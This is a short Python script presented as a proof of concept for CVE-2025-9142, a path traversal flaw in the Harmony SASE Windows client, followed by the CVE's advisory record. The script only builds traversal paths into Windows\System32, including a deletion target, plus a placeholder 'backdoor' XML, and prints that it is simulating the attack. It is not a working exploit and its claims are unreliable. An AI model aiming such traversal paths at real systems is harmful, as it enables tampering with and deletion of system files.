CVE-2025-9142

# CVE-2025-9142 PoC - Path Traversal in Harmony SASE Windows Client # This PoC demonstrates the path traversal vulnerability import os import sys import time import subprocess from pathlib import Path def create_malicious_payload(): """Create a payload file with path traversal characters""" # Target path traversal sequence to escape certificate directory traversal_path = "..\\..\\..\\Windows\\System32\\" target_file = "malicious_config.xml" payload = """<?xml version="1.0" encoding="UTF-8"?> <Configuration> <Malicious>true</Malicious> <Backdoor>enabled</Backdoor> </Configuration>""" return traversal_path + target_file, payload def exploit_harmony_sase(): """ Exploit CVE-2025-9142 by triggering file write outside certificate directory Requires local access and user interaction """ print("[*] CVE-2025-9142 Path Traversal Exploit") print("[*] Target: Harmony SASE Windows Client") print("[*] Attack Vector: Local + User Interaction") # Step 1: Identify certificate working directory cert_dir = os.path.expanduser("~\\AppData\\Local\\CheckPoint\\HarmonySASE\\certs") print(f"[+] Certificate directory: {cert_dir}") # Step 2: Create malicious path malicious_path, payload = create_malicious_payload() print(f"[+] Malicious path: {malicious_path}") # Step 3: Trigger vulnerability through client interaction # This would typically involve: # 1. Social engineering to get user to import a malicious certificate # 2. Exploiting the certificate import function # 3. Path traversal in certificate filename processing print("[*] Triggering vulnerability through certificate import...") print("[*] Note: Actual exploitation requires user interaction") print("[*] Simulating file write attempt to: " + malicious_path) # Cleanup demonstration print("[*] Cleanup phase - attempting to delete files outside cert dir") delete_path = "..\\..\\..\\Windows\\System32\\config\\system.xml" print(f"[*] Target for deletion: {delete_path}") return True def verify_impact(): """Verify the potential impact of successful exploitation""" impacts = [ "Arbitrary file write outside certificate directory", "Arbitrary file deletion outside certificate directory", "Potential code execution via file overwrite", "System configuration manipulation", "Security bypass through config file modification" ] print("\n[!] Potential Impact:") for impact in impacts: print(f" - {impact}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-9142 Harmony SASE Path Traversal PoC") print("=" * 60) exploit_harmony_sase() verify_impact() print("\n[*] Note: This is a demonstration PoC for educational purposes") print("[*] Actual exploitation requires specific conditions and user interaction")

{"cve": {"id": "CVE-2025-9142", "sourceIdentifier": "[email protected]", "published": "2026-01-14T15:16:04.333", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local user can trigger Harmony SASE Windows client to write or delete files outside the intended certificate working directory."}, {"lang": "es", "value": "Un usuario local puede desencadenar que el cliente de Harmony SASE para Windows escriba o elimine archivos fuera del directorio de trabajo de certificados previsto."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://support.checkpoint.com/results/sk/sk184557", "source": "[email protected]"}]}}